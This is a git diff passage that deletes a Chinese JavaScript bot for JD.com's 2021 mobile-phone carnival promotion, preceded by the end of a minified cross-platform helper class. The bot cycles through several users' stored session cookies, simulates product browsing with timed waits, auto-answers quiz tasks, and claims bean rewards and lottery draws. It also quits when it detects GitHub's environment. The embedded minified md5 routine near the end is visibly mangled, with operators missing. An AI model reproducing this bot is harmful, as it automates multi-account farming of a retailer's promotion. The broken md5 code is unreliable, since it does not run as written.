s = this.setval(t, e); - return s - } - - getval(t){return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null} - - setval(t, e){return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null} - - initGotEnv(t){this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar))} - - get(t, e = (() => {})){ - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)})) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try{ - if(t.headers["set-cookie"]){ - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar - } - } catch(t){this.logErr(t)} - }).then(t => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => { - const { message: s, response: i } = t; - e(s, i, i && i.body) - })) - } - - post(t, e = (() => {})){ - if(t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)}); else if(this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => e(t)); else if(this.isNode()){ - this.initGotEnv(t); - const { url: s, ...i } = t; - this.got.post(s, i).then(t => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => { - const { message: s, response: i } = t; - e(s, i, i && i.body) - }) - } - } - - time(t, e = null){ - const s = e ? new Date(e) : new Date; - let i = { - "M+": s.getMonth() + 1, - "d+": s.getDate(), - "H+": s.getHours(), - "m+": s.getMinutes(), - "s+": s.getSeconds(), - "q+": Math.floor((s.getMonth() + 3) / 3), - S: s.getMilliseconds() - }; - /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); - for(let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); - return t - } - - msg(e = t, s = "", i = "", r){ - const o = t => { - if(!t) return t; - if("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; - if("object" == typeof t){ - if(this.isLoon()){ - let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; - return { openUrl: e, mediaUrl: s } - } - if(this.isQuanX()){ - let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; - return { "open-url": e, "media-url": s } - } - if(this.isSurge()){ - let e = t.url || t.openUrl || t["open-url"]; - return { url: e } - } - } - }; - if(this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog){ - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) - } - } - - log(...t){t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator))} - - logErr(t, e){ - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - - wait(t){return new Promise(e => setTimeout(e, t))} - - done(t = {}){ - const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - }(t, e) -} diff --git a/backUp/jd_carnivalcity.js b/backUp/jd_carnivalcity.js deleted file mode 100644 index c05b369..0000000 --- a/backUp/jd_carnivalcity.js +++ /dev/null @@ -1,761 +0,0 @@ -/* -京东手机狂欢城活动,每日可获得20+以上京豆(其中20京豆是往期奖励,需第一天参加活动后,第二天才能拿到) -活动时间: 2021-8-9至2021-8-28 -活动入口:暂无 [活动地址](https://carnivalcity.m.jd.com/) - -往期奖励: -a、第1名、第618名可获得实物手机一部 -b、 每日第2-10000名,可获得50个京豆 -c、 每日第10001-30000名可获得20个京豆 -d、 30000名之外,0京豆 - -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -===================quantumultx================ -[task_local] -#京东手机狂欢城 -0 0-18/6 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_carnivalcity.js, tag=京东手机狂欢城, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -=====================Loon================ -[Script] -cron "0 0-18/6 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_carnivalcity.js, tag=京东手机狂欢城 - -====================Surge================ -京东手机狂欢城 = type=cron,cronexp=0 0-18/6 * * *,wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_carnivalcity.js - -============小火箭========= -京东手机狂欢城 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_carnivalcity.js, cronexpr="0 0-18/6 * * *", timeout=3600, enable=true -*/ -const $ = new Env('京东手机狂欢城'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message = '', allMessage = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -let inviteCodes = []; -const JD_API_HOST = 'https://api.m.jd.com/api'; -const activeEndTime = '2021/08/29 00:00:00+08:00';//活动结束时间 -let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - $.temp = []; - if (nowTime > new Date(activeEndTime).getTime()) { - //活动结束后弹窗提醒 - $.msg($.name, '活动已结束', `该活动累计获得京豆:${$.jingBeanNum}个\n请删除此脚本\n咱江湖再见`); - if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `请删除此脚本\n咱江湖再见`); - return - } - await requireConfig(); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - $.jingBeanNum = 0;//累计获得京豆 - $.integralCount = 0;//累计获得积分 - $.integer = 0;//当天获得积分 - $.lasNum = 0;//当天参赛人数 - $.num = 0;//当天排名 - $.beans = 0;//本次运行获得京豆数量 - $.blockAccount = false;//黑号 - message = ''; - await TotalBean(); - console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await shareCodesFormat(); - await JD818(); - } - } - if (allMessage) { - //NODE端,默认每月一日运行进行推送通知一次 - if ($.isNode()) { - await notify.sendNotify($.name, allMessage, { url: "https://carnivalcity.m.jd.com/" }); - $.msg($.name, '', allMessage); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function JD818() { - try { - await indexInfo();//获取任务 - await supportList();//助力情况 - await getHelp();//获取邀请码 - if ($.blockAccount) return - await indexInfo(true);//获取任务 - await doHotProducttask();//做热销产品任务 - await doBrandTask();//做品牌手机任务 - await doBrowseshopTask();//逛好货街,做任务 - // await doHelp(); - await myRank();//领取往期排名奖励 - await getListRank(); - await getListIntegral(); - await getListJbean(); - await check();//查询抽奖记录(未兑换的,发送提醒通知); - await showMsg() - } catch (e) { - $.logErr(e) - } -} -async function doHotProducttask() { - $.hotProductList = $.hotProductList.filter(v => !!v && v['status'] === "1"); - if ($.hotProductList && $.hotProductList.length) console.log(`开始 【浏览热销手机产品】任务,需等待6秒`) - for (let item of $.hotProductList) { - await doBrowse(item['id'], "", "hot", "browse", "browseHotSku"); - await $.wait(1000 * 6); - if ($.browseId) { - await getBrowsePrize($.browseId) - } - } -} -//做任务 API -function doBrowse(id = "", brandId = "", taskMark = "hot", type = "browse", logMark = "browseHotSku") { - return new Promise(resolve => { - const body = {"brandId":brandId,"id":id,"taskMark":taskMark,"type":type,"logMark":logMark,"apiMapping":"/khc/task/doBrowse"} - $.post(taskUrl(body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - console.log(`doBrowse 做${taskMark}任务:${data}`); - data = JSON.parse(data); - if (data && data['code'] === 200) { - $.browseId = data['data']['browseId'] || ""; - } else { - console.log(`doBrowse异常`); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -//领取奖励 -function getBrowsePrize(browseId, brandId = '') { - return new Promise(resolve => { - const body = {"brandId":brandId,"browseId":browseId,"apiMapping":"/khc/task/getBrowsePrize"} - $.post(taskUrl(body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - console.log(`getBrowsePrize 领取奖励 结果:${data}`); - data = JSON.parse(data); - if (data && data['code'] === 200) { - if (data['data']['jingBean']) $.beans += data['data']['jingBean']; - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -async function doBrandTask() { - for (let brand of $.brandList) { - await brandTaskInfo(brand['brandId']); - } -} -function brandTaskInfo(brandId) { - const body = {"brandId":brandId,"apiMapping":"/khc/index/brandTaskInfo"} - $.skuTask = []; - $.shopTask = []; - $.meetingTask = []; - $.questionTask = {}; - return new Promise( (resolve) => { - $.get(taskUrl(body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200) { - let brandId = data['data']['brandId']; - $.skuTask = data['data']['skuTask'] || []; - $.shopTask = data['data']['shopTask'] || []; - $.meetingTask = data['data']['meetingTask'] || []; - $.questionTask = data['data']['questionTask'] || []; - for (let sku of $.skuTask.filter(vo => !!vo && vo['status'] !== '4')){ - console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) - console.log(`开始浏览 1-F 单品区 任务 ${sku['name']}`); - await doBrowse(sku['id'], brandId, "brand", "presell", "browseSku"); - await $.wait(1000 * 6); - if ($.browseId) await getBrowsePrize($.browseId, brandId); - } - for (let sku of $.shopTask.filter(vo => !!vo && vo['status'] !== '4')){ - console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) - console.log(`开始浏览 2-F 专柜区 任务 ${sku['name']},需等待10秒`); - await doBrowse(sku['id'], brandId, "brand", "follow", "browseShop"); - await $.wait(10100); - if ($.browseId) await getBrowsePrize($.browseId, brandId); - } - for (let sku of $.meetingTask.filter(vo => !!vo && vo['status'] !== '4')){ - console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) - console.log(`开始浏览 3-F 综合区 任务 ${sku['name']},需等待10秒`); - await doBrowse(sku['id'], brandId, "brand", "meeting", "browseVenue"); - await $.wait(10500); - if ($.browseId) await getBrowsePrize($.browseId, brandId); - } - if ($.questionTask.hasOwnProperty('id') && $.questionTask['result'] === '0') { - console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) - console.log(`开始做答题任务 ${$.questionTask['question']}`); - let result = 0; - for (let i = 0; i < $.questionTask['answers'].length; i ++) { - if ($.questionTask['answers'][i]['right']) { - result = i + 1;//正确答案 - } - } - if (result !== 0) { - await doQuestion(brandId, $.questionTask['id'], result); - } - } - } else { - console.log(`失败:${JSON.stringify(data)}`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }); -} -function doQuestion(brandId, questionId, result) { - return new Promise(resolve => { - const body = {"brandId":brandId,"questionId":questionId,"result":result,"apiMapping":"/khc/task/doQuestion"} - $.post(taskUrl(body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - console.log(`doQuestion 领取答题任务奖励 结果:${data}`); - data = JSON.parse(data); - if (data && data['code'] === 200) { - if (data['data']['jingBean']) $.beans += data['data']['jingBean']; - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//逛好货街,做任务 -async function doBrowseshopTask() { - $.browseshopList = $.browseshopList.filter(v => !!v && v['status'] === "6"); - if ($.browseshopList && $.browseshopList.length) console.log(`\n开始 【逛好货街,做任务】,需等待10秒`) - for (let shop of $.browseshopList) { - await doBrowse(shop['id'], "", "browseShop", "browse", "browseShop"); - await $.wait(10000); - if ($.browseId) { - await getBrowsePrize($.browseId) - } - } -} -function indexInfo(flag = false) { - const body = {"apiMapping":"/khc/index/indexInfo"} - $.hotProductList = []; - $.brandList = []; - $.browseshopList = []; - return new Promise( (resolve) => { - $.post(taskUrl(body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200) { - $.hotProductList = data['data']['hotProductList']; - $.brandList = data['data']['brandList']; - $.browseshopList = data['data']['browseshopList']; - if (flag) { - // console.log(`助力情况:${data['data']['supportedNums']}/${data['data']['supportNeedNums']}`); - // message += `邀请好友助力:${data['data']['supportedNums']}/${data['data']['supportNeedNums']}\n` - } - } else { - console.log(`异常:${JSON.stringify(data)}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }); -} -//获取助力信息 -function supportList() { - const body = {"apiMapping":"/khc/index/supportList"} - return new Promise( (resolve) => { - $.get(taskUrl(body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200) { - console.log(`助力情况:${data['data']['supportedNums']}/${data['data']['supportNeedNums']}`); - message += `邀请好友助力:${data['data']['supportedNums']}/${data['data']['supportNeedNums']}\n` - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }); -} -//积分抽奖 -function lottery() { - const body = {"apiMapping":"/khc/record/lottery"} - return new Promise( (resolve) => { - $.get(taskUrl(body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200) { - if (data.data.prizeId !== 8) { - //已中奖 - const url = 'https://carnivalcity.m.jd.com/#/integralDetail'; - console.log(`积分抽奖获得:${data.data.prizeName}`); - message += `积分抽奖获得:${data.data.prizeName}\n`; - $.msg($.name, '', `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${data.data.prizeName}\n兑换地址:${url}`, { 'open-url': url }); - if ($.isNode()) await notify.sendNotify($.name, `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${data.data.prizeName}\n兑换地址:${url}`); - } else { - console.log(`积分抽奖结果:${data['data']['prizeName']}}`); - } - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }); -} -//查询抽奖记录(未兑换的) -function check() { - const body = {"pageNum":1,"apiMapping":"/khc/record/convertRecord"} - return new Promise( (resolve) => { - $.get(taskUrl(body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - let str = ''; - if (data.code === 200) { - for (let obj of data.data) { - if (obj.hasOwnProperty('fillStatus') && obj.fillStatus !== true) { - str += JSON.stringify(obj); - } - } - } - if (str.length > 0) { - const url = 'https://carnivalcity.m.jd.com/#/integralDetail'; - $.msg($.name, '', `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${str}\n兑换地址:${url}`, { 'open-url': url }); - if ($.isNode()) await notify.sendNotify($.name, `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${str}\n兑换地址:${url}`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }); -} -function myRank() { - return new Promise(resolve => { - const body = {"apiMapping":"/khc/rank/myPastRanks"} - $.post(taskUrl(body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200) { - if (data.data && data.data.length) { - for (let i = 0; i < data.data.length; i++) { - $.date = data.data[i]['date']; - if (data.data[i].status === '1') { - console.log(`开始领取往期奖励【${data.data[i]['prizeName']}】`) - let res = await saveJbean($.date); - // console.log('领奖结果', res) - if (res && res.code === 200) { - $.beans += Number(res.data); - console.log(`${data.data[i]['date']}日 【${res.data}】京豆奖励领取成功`) - } else { - console.log(`往期奖励领取失败:${JSON.stringify(res)}`); - } - await $.wait(500); - } else if (data.data[i].status === '3') { - console.log(`${data.data[i]['date']}日 【${data.data[i]['prizeName']}】往期京豆奖励已领取~`) - } else { - console.log(`${data.data[i]['date']}日 【${data.data[i]['status']}】往期京豆奖励,今日争取进入前30000名哦~`) - } - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//领取往期奖励API -function saveJbean(date) { - return new Promise(resolve => { - const body = {"date":date,"apiMapping":"/khc/rank/getRankJingBean"} - $.post(taskUrl(body), (err, resp, data) => { - try { - // console.log('领取京豆结果', data); - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -async function doHelp() { - console.log(`\n开始助力好友`); - for (let item of $.newShareCodes) { - if (!item) continue; - const helpRes = await toHelp(item.trim()); - if (helpRes.data.status === 5) { - console.log(`助力机会已耗尽,跳出助力`); - break; - } - } -} -//助力API -function toHelp(code) { - return new Promise(resolve => { - const body = {"shareId":code,"apiMapping":"/khc/task/doSupport"} - $.post(taskUrl(body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - console.log(`助力结果:${data}`); - data = JSON.parse(data); - if (data && data['code'] === 200) { - if (data['data']['status'] === 6) console.log(`助力成功\n`) - if (data['data']['jdNums']) $.beans += data['data']['jdNums']; - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//获取邀请码API -function getHelp() { - return new Promise(resolve => { - const body = {"apiMapping":"/khc/task/getSupport"} - $.get(taskUrl(body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200) { - console.log(`\n\n${$.name}互助码每天都变化,旧的不可继续使用`); - $.log(`【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.shareId}\n\n`); - $.temp.push(data.data.shareId); - } else { - console.log(`获取邀请码失败:${JSON.stringify(data)}`); - if (data.code === 1002) $.blockAccount = true; - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//获取当前活动总京豆数量 -function getListJbean() { - return new Promise(resolve => { - const body = {"pageNum":"","apiMapping":"/khc/record/jingBeanRecord"} - $.post(taskUrl(body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200) { - $.jingBeanNum = data.data.jingBeanNum || 0; - message += `累计获得京豆:${$.jingBeanNum}🐶\n`; - } else { - console.log(`jingBeanRecord失败:${JSON.stringify(data)}`); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//查询累计获得积分 -function getListIntegral() { - return new Promise(resolve => { - const body = {"pageNum":"","apiMapping":"/khc/record/integralRecord"} - $.post(taskUrl(body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200) { - $.integralCount = data.data.integralNum || 0;//累计活动积分 - message += `累计获得积分:${$.integralCount}\n`; - console.log(`开始抽奖,当前积分可抽奖${parseInt($.integralCount / 50)}次\n`); - for (let i = 0; i < parseInt($.integralCount / 50); i ++) { - await lottery(); - await $.wait(500); - } - } else { - console.log(`integralRecord失败:${JSON.stringify(data)}`); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -//查询今日累计积分与排名 -function getListRank() { - return new Promise(resolve => { - const body = {"apiMapping":"/khc/rank/dayRank"} - $.post(taskUrl(body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200) { - if (data.data.myRank) { - $.integer = data.data.myRank.integral;//当前获得积分 - $.num = data.data.myRank.rank;//当前排名 - message += `当前获得积分:${$.integer}\n`; - message += `当前获得排名:${$.num}\n`; - } - if (data.data.lastRank) { - $.lasNum = data.data.lastRank.rank;//当前参加活动人数 - message += `当前参赛人数:${$.lasNum}\n`; - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - $.newShareCodes = []; - if ($.shareCodesArr[$.index - 1]) { - $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); - } else { - console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); - $.newShareCodes = inviteCodes[tempIndex] && inviteCodes[tempIndex].split('@') || []; - if ($.updatePkActivityIdRes && $.updatePkActivityIdRes.length) $.newShareCodes = [...$.updatePkActivityIdRes, ...$.newShareCodes]; - } - // const readShareCodeRes = await readShareCode(); - // if (readShareCodeRes && readShareCodeRes.code === 200) { - // $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; - // } - // console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} -function requireConfig() { - return new Promise(resolve => { - console.log(`开始获取${$.name}配置文件\n`); - let shareCodes = []; - if ($.isNode()) { - if (process.env.JD818_SHARECODES) { - if (process.env.JD818_SHARECODES.indexOf('\n') > -1) { - shareCodes = process.env.JD818_SHARECODES.split('\n'); - } else { - shareCodes = process.env.JD818_SHARECODES.split('&'); - } - } - } - console.log(`共${cookiesArr.length}个京东账号\n`); - $.shareCodesArr = []; - if ($.isNode()) { - Object.keys(shareCodes).forEach((item) => { - if (shareCodes[item]) { - $.shareCodesArr.push(shareCodes[item]) - } - }) - } - console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); - resolve() - }) -} - -function taskUrl(body = {}) { - return { - url: `${JD_API_HOST}?appid=guardian-starjd&functionId=carnivalcity_jd_prod&body=${JSON.stringify(body)}&t=${Date.now()}&loginType=2`, - headers: { - "accept": "application/json, text/plain, */*", - "accept-encoding": "gzip, deflate, br", - "accept-language": "zh-cn", - "referer": "https://carnivalcity.m.jd.com/", - "origin": "https://carnivalcity.m.jd.com", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -async function showMsg() { - if ($.beans) { - allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n本次运行获得:${$.beans}京豆\n${message}活动地址:https://carnivalcity.m.jd.com/${$.index !== cookiesArr.length ? '\n\n' : ''}` - } - $.msg($.name, `京东账号${$.index} ${$.nickName || $.UserName}`, `${message}具体详情点击弹窗跳转后即可查看`, {"open-url": "https://carnivalcity.m.jd.com/"}); -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -!function(n){"use strict";function r(n,r){var t=(65535&n)+(65535&r);return(n>>16)+(r>>16)+(t>>16)<<16|65535&t}function t(n,r){return n<>>32-r}function u(n,u,e,o,c,f){return r(t(r(r(u,n),r(o,f)),c),e)}function e(n,r,t,e,o,c,f){return u(r&t|~r&e,n,r,o,c,f)}function o(n,r,t,e,o,c,f){return u(r&e|t&~e,n,r,o,c,f)}function c(n,r,t,e,o,c,f){return u(r^t^e,n,r,o,c,f)}function f(n,r,t,e,o,c,f){return u(t^(r|~e),n,r,o,c,f)}function i(n,t){n[t>>5]|=128<>>9<<4)]=t;var u,i,a,h,g,l=1732584193,d=-271733879,v=-1732584194,C=271733878;for(u=0;u>5]>>>r%32&255);return t}function h(n){var r,t=[];for(t[(n.length>>2)-1]=void 0,r=0;r>5]|=(255&n.charCodeAt(r/8))<16&&(e=i(e,8*n.length)),t=0;t<16;t+=1)o[t]=909522486^e[t],c[t]=1549556828^e[t];return u=i(o.concat(h(r)),512+8*r.length),a(i(c.concat(u),640))}function d(n){var r,t,u="";for(t=0;t>>4&15)+"0123456789abcdef".charAt(15&r);return u}function v(n){return unescape(encodeURIComponent(n))}function C(n){return g(v(n))}function A(n){return d(C(n))}function m(n,r){return l(v(n),v(r))}function s(n,r){return d(m(n,r))}function b(n,r,t){return r?t?m(r,n):s(r,n):t?C(n):A(n)}$.md5=b}(); -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class 